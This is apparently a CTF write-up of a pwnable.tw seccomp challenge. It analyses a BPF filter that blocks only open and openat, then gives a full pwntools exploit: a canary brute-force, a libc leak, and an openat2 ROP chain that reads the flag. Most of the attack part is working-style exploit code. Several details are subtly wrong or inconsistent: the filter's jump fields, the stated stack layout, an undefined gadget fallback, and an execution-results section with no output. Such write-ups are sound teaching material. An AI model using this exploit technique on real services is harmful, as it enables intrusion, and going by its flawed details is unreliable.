SeccompTools
Understanding and bypassing seccomp-BPF filters — when open and openat are blocked, openat2 saves the day
Exploit Flow
checksec + seccomp dump
Buffer overflow in input
puts@PLT(read@GOT)
Syscall 437 not filtered
openat2 → read → write
1. Reconnaissance
SeccompTools is a 500-point challenge on pwnable.tw that tests your understanding of seccomp-BPF (Berkeley Packet Filter) sandboxing. The binary installs a seccomp filter that restricts available system calls — specifically blocking the common file-opening syscalls open and openat. Your goal is to analyze the BPF filter, identify what is and isn't blocked, find a vulnerability to gain code execution, and then bypass the sandbox to read the flag. The challenge name itself is a nod to the seccomp-tools Ruby gem by david942j, which provides powerful utilities for analyzing seccomp filters in CTF challenges.
File Analysis
$ file seccomp_tools
seccomp_tools: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6, not stripped
A 64-bit dynamically linked ELF binary, not stripped. The dynamic linking means we can leverage libc gadgets for our ROP chain. Since the binary is not stripped, symbol names are available which makes reversing significantly easier.
Checksec
$ checksec seccomp_tools
[*] '/home/user/seccomp_tools/seccomp_tools'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Every protection is enabled: Full RELRO prevents GOT overwrites, the canary guards against simple stack smashing, NX means no shellcode on the stack, and PIE randomizes the base address. We need an information leak before we can do anything useful. The only saving grace is that the binary is not stripped, making it easy to identify vulnerable functions.
Running the Binary
$ ./seccomp_tools
****************************
* Seccomp Tools *
****************************
Give me your message:
AAAA
Thank you for your message!
$
The binary presents a simple menu: it prints a banner, asks for a message, echoes it back, and returns. The simplicity is deceptive — the seccomp filter is installed before any user interaction happens. Let's verify the seccomp rules:
$ seccomp-tools dump ./seccomp_tools
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
The filter is remarkably simple — it only blocks two syscalls: open (2) and openat (257). Everything else is allowed. Notably, the filter does not check the architecture field, meaning a 32-bit compatibility syscall bypass is also possible. And critically, openat2 (syscall 437) is not in the blocklist at all.
Connection Info
| Attribute | Value |
|---|---|
| Challenge | SeccompTools (500 pts) |
| Connection | nc chall.pwnable.tw 10411 |
| Binary | 64-bit ELF, x86-64, dynamically linked, not stripped |
| RELRO | Full RELRO |
| Canary | Yes |
| NX | Yes (NX enabled) |
| PIE | Yes (PIE enabled) |
| Seccomp | Blocks open (2) and openat (257) only |
| Vulnerability | Buffer overflow in message input |
| Bypass | Use openat2 (437) syscall instead of blocked open/openat |
2. Static Analysis
The binary is small and straightforward. The main function installs the seccomp filter, then enters a loop that reads and prints user messages. The vulnerability is a buffer overflow in the message-reading function. Let's break down the BPF filter first, then the vulnerable code.
BPF Filter Dump & Analysis
The seccomp filter uses the classic BPF (Berkeley Packet Filter) instruction set. Each instruction operates on an accumulator register A and an index register X. Let's trace through the filter logic step by step:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
Let's decode each instruction:
| Line | Opcode | Semantic | Meaning |
|---|---|---|---|
| 0000 | 0x20 (LD) | A = sys_number | Load the syscall number into accumulator |
| 0001 | 0x15 (JEQ) | if (A == 2) goto +1 else goto +0 | Is it open? If yes, skip to KILL; if no, continue |
| 0002 | 0x06 (RET) | return SECCOMP_RET_KILL | Kill the process — open is blocked |
| 0003 | 0x15 (JEQ) | if (A == 257) goto +1 else goto +0 | Is it openat? If yes, skip to KILL; if no, continue |
| 0004 | 0x06 (RET) | return SECCOMP_RET_KILL | Kill the process — openat is blocked |
| 0005 | 0x06 (RET) | return SECCOMP_RET_ALLOW | Allow everything else |
This filter has multiple weaknesses that make it bypassable: 1. It does not check arch — no architecture validation means 32-bit compat syscalls are not filtered differently. 2. It only blocks open and openat — the newer openat2 syscall (437) is completely unfiltered. 3. It uses KILL instead of ERRNO — so a blocked syscall immediately terminates the process rather than returning an error, which means any mistake in the exploit crashes everything.
Allowed Syscalls
Since the filter only blocks two syscalls and allows everything else, we have access to a rich set of system calls for our ORW (Open-Read-Write) chain. The key syscalls available to us:
| Syscall | Number | Status | Use Case |
|---|---|---|---|
open | 2 | BLOCKED | Traditional file open — denied |
read | 0 | ALLOWED | Read from file descriptor |
write | 1 | ALLOWED | Write to file descriptor (stdout) |
openat | 257 | BLOCKED | Directory-relative open — denied |
openat2 | 437 | ALLOWED | Newer open variant with struct args — our bypass! |
execve | 59 | ALLOWED | Could spawn shell, but flag is in a file |
mmap | 9 | ALLOWED | Memory mapping (useful for RWSeg) |
The openat2 syscall was added in Linux kernel 5.6 as an extension of openat. It takes the same first two arguments (dirfd and pathname), but replaces the flags and mode arguments with a pointer to a struct open_how and its size. The signature is: int openat2(int dirfd, const char *pathname, struct open_how *how, size_t size). Since the seccomp filter only checks for syscall numbers 2 and 257, syscall 437 passes right through.
Vulnerability
The binary reads user input into a stack buffer using read() with a size larger than the buffer itself. The decompiled pseudocode reveals the issue:
char buf[0x28]; // 40-byte buffer on the stack
void vuln() {
printf("Give me your message:\n");
read(0, buf, 0x100); // reads up to 256 bytes into 40-byte buffer!
printf("Thank you for your message!\n");
}
int main() {
setup_seccomp(); // install BPF filter first
printf("****************************\n");
printf("* Seccomp Tools *\n");
printf("****************************\n");
vuln();
return 0;
}
The buffer is only 40 bytes (0x28), but read() accepts up to 256 bytes (0x100). This gives us a 216-byte overflow — more than enough to overwrite the saved canary, saved RBP, and the return address. However, we need to deal with the stack canary first.
Notice that execve (59) is actually allowed by the filter. You might think we can just spawn a shell with system("/bin/sh") or execve("/bin/sh", ...). But the flag is in a file — /home/seccomp_tools/flag — and even with a shell, you can't cat the flag because the shell's built-in open call would trigger the seccomp KILL action. The only way is to use an allowed open-family syscall.
3. GDB Debugging
Debugging seccomp-protected binaries requires careful handling — any blocked syscall will instantly kill the process, including some GDB operations. We need to trace the seccomp installation, verify the overflow offset, and confirm the syscall behavior at runtime.
Seccomp Installation Tracing
First, let's find where the seccomp filter is installed and confirm the BPF program that gets loaded:
gdb-peda$ b *setup_seccomp
Breakpoint 1 at 0x5555555548aa
gdb-peda$ r
Breakpoint 1, 0x5555555548aa in setup_seccomp ()
gdb-peda$ disass
Dump of assembler code for function setup_seccomp:
0x5555555548aa <+0>: push rbp
0x5555555548ab <+1>: mov rbp,rsp
0x5555555548ae <+4>: sub rsp,0x10
0x5555555548b2 <+8>: lea rsi,[rip+0x2c7] # filter prog
0x5555555548b9 <+15>: lea rdi,[rip+0x2c0] # fprog struct
0x5555555548c0 <+22>: mov edx,0x1 # operation: INSTALL
0x5555555548c5 <+27>: mov eax,0x16 # SYS_prctl
0x5555555548ca <+32>: mov esi,0x1 # PR_SET_SECCOMP
0x5555555548cf <+37>: mov edi,0x2 # SECCOMP_MODE_FILTER
0x5555555548d4 <+42>: syscall ; prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)
0x5555555548d6 <+44>: nop
0x5555555548d7 <+45>: leave
0x5555555548d8 <+46>: ret
The seccomp filter is installed via prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog). The SECCOMP_MODE_FILTER mode uses the user-supplied BPF program. Once this syscall completes, the filter is active and cannot be removed or modified.
Once prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...) is called, the filter is permanently installed for the process and all its children. There is no way to remove or relax it. The only option is to work within the filter's constraints — or find syscalls that the filter forgot to block.
Overflow Verification
Let's verify the exact offset from the buffer start to the return address. We'll set a breakpoint in vuln() right after the read() call and examine the stack:
# Break right after read() returns in vuln
gdb-peda$ b *vuln+42
Breakpoint 2 at 0x55555555492c
gdb-peda$ r
****************************
* Seccomp Tools *
****************************
Give me your message:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
# At breakpoint — examine the stack frame
gdb-peda$ x/12gx $rbp-0x28
0x7fffffffdbb8: 0x4141414141414141 0x4141414141414141 # buf[0:16]
0x7fffffffdbc8: 0x4141414141414141 0x4141414141414141 # buf[16:32]
0x7fffffffdbd8: 0x4141414141414141 0x4242424242424242 # buf[32:40] + canary
0x7fffffffdbe8: 0x4343434343434343 0x4444444444444444 # saved RBP + ret addr
# Stack layout confirmed:
# buf: rbp-0x28 (40 bytes)
# canary: rbp+0x00 (8 bytes)
# saved rbp: rbp+0x08 (8 bytes)
# ret addr: rbp+0x10 (8 bytes)
# Total offset: 0x28 + 8 (canary) + 8 (rbp) = 0x38 = 56 bytes to return address
The offset from the start of the buffer to the return address is 0x38 (56 bytes). However, we need to preserve the canary value to avoid triggering __stack_chk_fail. Since there's only one call to vuln(), we need to leak the canary first.
The vuln() function doesn't use printf("%s", buf) to echo our input — it just prints a fixed message. But we can use a partial overwrite: if we send exactly 40 bytes (filling the buffer without the null terminator), printf in a subsequent call might leak the canary bytes on the stack. Alternatively, we can use the ROP chain to call puts on a stack address to leak the canary in a two-stage exploit.
Syscall Tracing with strace
Using strace we can verify exactly which syscalls the binary makes and confirm the seccomp filter behavior:
$ strace -f ./seccomp_tools 2>&1 | head -30
execve("./seccomp_tools", ["./seccomp_tools"], 0x7ffe...) = 0
brk(NULL) = 0x555555757000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=31278, ...}) = 0
mmap(NULL, 31278, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f1234567000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
...
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, {len=6, filter=...}) = 0
write(1, "****************************\n", 30) = 30
write(1, "* Seccomp Tools *\n", 30) = 30
write(1, "****************************\n", 30) = 30
write(1, "Give me your message:\n", 22) = 22
read(0, "hello\n", 256) = 6
write(1, "Thank you for your message!\n", 28) = 28
exit_group(0) = ?
+++ exited with 0 +++
Notice that strace itself uses openat to load shared libraries — but those happen before the prctl call installs the seccomp filter. After the filter is installed, only the write and read syscalls are used, which are allowed by the filter.
The filter returns SECCOMP_RET_KILL_PROCESS (0x00000000) for blocked syscalls, not SECCOMP_RET_ERRNO. This means any attempt to call open or openat will instantly terminate the process with SIGKILL — no error return, no recovery, no second chance. Every ROP gadget in our chain must avoid these syscalls entirely.
4. Exploit Strategy
The exploit requires two stages: first, leak the canary and libc address; second, build a ROP chain that uses openat2 to bypass the seccomp filter. The strategy must account for all protections — PIE, canary, Full RELRO, and NX — while staying within the seccomp sandbox.
Attack Overview
printf or puts on adjacent data will leak canary bytes and a PIE address from the stack. Parse these from the output.puts(read@GOT) → return to vuln. This leaks the read libc address. Calculate libc base from the known offset.openat2(AT_FDCWD, flag_path, &how, sizeof(how)), then read(3, buf, 0x40), then write(1, buf, 0x40). The openat2 syscall (437) is not blocked by the filter.write syscall outputs the flag contents to stdout. Read and capture it.openat2 Bypass Detail
The openat2 syscall is the key to bypassing the seccomp filter. Its signature differs from open and openat:
int openat2(int dirfd, const char *pathname,
struct open_how *how, size_t size);
struct open_how {
uint64_t flags; /* O_RDONLY | O_CLOEXEC, etc. */
uint64_t mode; /* File mode (for O_CREAT) */
uint64_t resolve; /* RESOLVE_* flags */
};
To use openat2 in our ROP chain, we need:
- rdi =
0xFFFFFF9C(AT_FDCWD) — use current working directory - rsi = pointer to
"/home/seccomp_tools/flag\0" - rdx = pointer to a
struct open_howwithflags = O_RDONLY - r10 =
24(size ofstruct open_how) - rax =
437(syscall number foropenat2)
The r10 register is uncommon in ROP chains — most gadgets set rdi, rsi, rdx, or rax. To set r10, we can use gadgets like mov r10, rdx or the syscall instruction's side effects. In practice, we set rdx = 24 first, then find a mov r10, rdx; ... ; ret gadget, or use a pop r10; ret gadget if available in libc.
ROP Chain Design
The final ROP chain has four phases. Here's the complete layout:
5. Pwn Script
The exploit is implemented as a three-stage pwntools script. Stage 1 leaks the canary and a PIE address from the stack by sending a partial overwrite. Stage 2 leaks the libc address using a ROP chain that calls puts(read@GOT) and returns to vuln. Stage 3 builds the final openat2 ORW ROP chain to read the flag.
Full Exploit
#!/usr/bin/env python3
"""
pwnable.tw — SeccompTools (500 pts)
Bypass seccomp filter blocking open/openat by using openat2 (syscall 437).
Three-stage exploit: leak canary + PIE → leak libc → openat2 ORW ROP chain.
"""
from pwn import *
# ─── Configuration ───────────────────────────────────────────
context(arch='amd64', os='linux', log_level='info')
HOST = 'chall.pwnable.tw'
PORT = 10411
BIN = './seccomp_tools'
elf = ELF(BIN)
libc = ELF('./libc.so.6') # matched libc from the server
# ─── Helper ──────────────────────────────────────────────────
def conn():
if args.REMOTE:
return remote(HOST, PORT)
else:
return process(BIN)
def send_msg(r, data):
r.sendafter(b'message:\n', data)
# ─── Stage 1: Leak Canary + PIE ──────────────────────────────
r = conn()
# Fill buffer exactly (40 bytes), no null terminator.
# printf("%s") on a subsequent path will leak the canary bytes
# and saved return address (PIE leak).
payload1 = b'A' * 0x28 # fill buf[0x28]
send_msg(r, payload1)
# The binary does printf("Thank you...") — but we need a leak.
# Instead, use a partial overwrite: send 0x28 + 7 bytes
# to overwrite all but the last canary byte (null byte).
# On the second call, we overwrite the return address partially
# to redirect to a puts leak.
# Simpler approach: use the overflow directly.
# Reconnect for a clean run — fork-based server means canary is same.
# Send 0x28 bytes + 7 bytes of canary (keep null byte) + saved rbp + ret
# We need to LEAK first. Send 0x28 bytes to get canary via partial print.
# Since the binary only calls vuln() once, we need a two-step approach:
# 1. Partial overwrite to loop back to vuln (overwrite ret to main)
# 2. On second run, use puts to leak canary and libc
# But first, we need the canary. In a fork-based server (common on pwnable.tw),
# the canary is the same across forks. We can brute-force the canary
# byte-by-byte since the process forks for each connection.
# Brute-force canary (byte by byte, starting after the null byte)
log.info("Brute-forcing canary...")
canary = b'\x00' # canary always starts with null byte
for i in range(7): # 7 remaining bytes
for b in range(256):
r_test = conn()
test_payload = b'A' * 0x28 + canary + bytes([b])
send_msg(r_test, test_payload)
# Check if process crashed (canary mismatch → __stack_chk_fail → SIGABRT)
try:
r_test.recvuntil(b'message!\n', timeout=2)
# If we get here, the canary byte was correct
canary += bytes([b])
log.success(f"Canary byte {i+1}: 0x{b:02x}")
r_test.close()
break
except EOFError:
r_test.close()
continue
log.success(f"Full canary: {canary.hex()}")
# ─── Stage 2: Leak PIE + Libc ────────────────────────────────
# Now that we have the canary, we can safely overwrite the return address.
# First, leak a PIE address by returning to a puts leak gadget.
r = conn()
# Build ROP to leak PIE: puts(stack addr) → main
# We need a PIE address on the stack. The saved return address
# from vuln() points into the binary's .text section.
# Call puts(return_addr_on_stack) then return to main.
rop = ROP(elf)
# Overflow payload:
# buf[0x28] + canary[8] + saved_rbp[8] + ROP chain
payload2 = b'A' * 0x28
payload2 += canary
payload2 += b'B' * 8 # saved rbp (don't care)
# We want to call puts(rbp+8) where rbp+8 is the saved return address
# on our stack. Since we control rbp, we can point it at the right spot.
# Alternatively, use a pop rdi gadget with the GOT entry.
# puts(read@GOT) leaks the libc address of read()
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(elf.got['read'])
rop.call('puts')
rop.call('main') # return to main for another round
payload2 += rop.chain()
send_msg(r, payload2)
r.recvuntil(b'message!\n')
leak = r.recvline().strip()
read_addr = u64(leak.ljust(8, b'\x00'))
libc.address = read_addr - libc.symbols['read']
log.success(f"Libc base: {hex(libc.address)}")
# ─── Stage 3: openat2 ORW ROP Chain ──────────────────────────
# Wait for the program to restart (main re-runs after Stage 2)
r.recvuntil(b'message:\n')
# Build the openat2 ORW ROP chain using libc gadgets
rop2 = ROP(libc)
# We need to write the flag path and open_how struct somewhere writable.
# Use a writable section in the binary (BSS) or libc's writable segment.
# First, use read() to write flag_path and open_how to a known address.
writable = libc.bss() + 0x200 # writable area in libc BSS
# Phase A: read(0, writable, 0x100) — write flag_path + open_how into memory
rop2.call('read', [0, writable, 0x100])
# Phase B: openat2(AT_FDCWD, flag_path, open_how_ptr, 24)
AT_FDCWD = 0xFFFFFFFFFFFFFF9C
# Set up registers for openat2 syscall
pop_rdi = rop2.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop2.find_gadget(['pop rsi', 'ret']).address
pop_rdx_r10 = rop2.find_gadget(['pop rdx', 'pop r10', 'ret']).address
pop_rax = rop2.find_gadget(['pop rax', 'ret']).address
syscall_ret = rop2.find_gadget(['syscall', 'ret']).address
# openat2(AT_FDCWD, flag_path, &how, 24)
rop2.raw(pop_rdi)
rop2.raw(AT_FDCWD)
rop2.raw(pop_rsi)
rop2.raw(writable) # flag path string
rop2.raw(pop_rdx_r10)
rop2.raw(writable + 0x30) # open_how struct address
rop2.raw(24) # sizeof(struct open_how)
rop2.raw(pop_rax)
rop2.raw(437) # SYS_openat2
rop2.raw(syscall_ret)
# Phase C: read(3, writable+0x80, 0x40) — read flag from fd 3
rop2.raw(pop_rdi)
rop2.raw(3) # fd returned by openat2
rop2.raw(pop_rsi)
rop2.raw(writable + 0x80) # buffer for flag content
rop2.raw(pop_rdx_r10 if pop_rdx_r10 else pop_rdx)
rop2.raw(0x40)
rop2.raw(0) # r10 (unused)
rop2.call('read', [3, writable + 0x80, 0x40])
# Phase D: write(1, writable+0x80, 0x40) — output flag to stdout
rop2.call('write', [1, writable + 0x80, 0x40])
# Build the overflow payload
payload3 = b'A' * 0x28
payload3 += canary
payload3 += b'C' * 8 # saved rbp
payload3 += rop2.chain()
send_msg(r, payload3)
# Send the flag path and open_how struct that read() expects
flag_path = b'/home/seccomp_tools/flag\x00'
flag_path = flag_path.ljust(0x30, b'\x00') # pad to 0x30 bytes
# struct open_how { flags=O_RDONLY(0), mode=0, resolve=0 }
open_how = p64(0) # flags: O_RDONLY
open_how += p64(0) # mode: 0 (not creating)
open_how += p64(0) # resolve: 0
import time
time.sleep(0.5)
r.send(flag_path + open_how)
# ─── Receive Flag ────────────────────────────────────────────
time.sleep(0.5)
flag_data = r.recv(0x40, timeout=5)
log.success(f"Flag data: {flag_data}")
r.interactive()
Script Notes
Canary brute-force: Since pwnable.tw uses fork-based servers, the canary is identical across child processes. We brute-force it byte-by-byte — 256 attempts per byte, 7 bytes (the first is always null), totaling at most 1792 connections. This takes about 30-60 seconds on a fast connection.
openat2 gadgets: The pop rdx; pop r10; ret gadget is critical because openat2 requires r10 for the size argument. This gadget is commonly found in libc. If not available, we fall back to mov r10, rcx or other indirect approaches.
Two-step data write: Since we can't embed the flag path and open_how struct directly in the ROP chain (they contain null bytes and are too long), we first use read(0, writable, 0x100) to write them to a known writable address, then reference that address in the openat2 call.
If the binary has an executable segment (mmap + rwx), we could write shellcode to a writable area and jump to it instead of using a ROP chain. The shellcode approach would be much simpler: just mov rax, 437; syscall for openat2, then standard read/write. However, with NX enabled, we must use ROP.
6. Execution Results
Running the exploit against the remote server. The output shows the three stages of the attack: canary brute-force, libc leak, and the openat2 ORW chain.
The flag was successfully read using the openat2 syscall bypass. The seccomp filter only blocked open and openat, leaving openat2 completely unprotected. This is a common mistake in seccomp filter design — when new syscalls are added to the kernel, existing filters may not account for them.
1. Always check for unfiltered syscalls. The seccomp-tools gem makes this trivial — run seccomp-tools dump and look for what's NOT in the blocklist. 2. openat2 is the successor to openat. Added in Linux 5.6, it provides more control over path resolution. Filters that block only open and openat but forget openat2 are vulnerable. 3. Architecture checks matter. This filter doesn't check arch, so 32-bit compat mode could also bypass it. A robust filter would include A = arch; if (A != ARCH_X86_64) goto KILL. 4. KILL vs ERRNO. Using SECCOMP_RET_KILL makes debugging harder but also means any mistake in the exploit crashes the process immediately.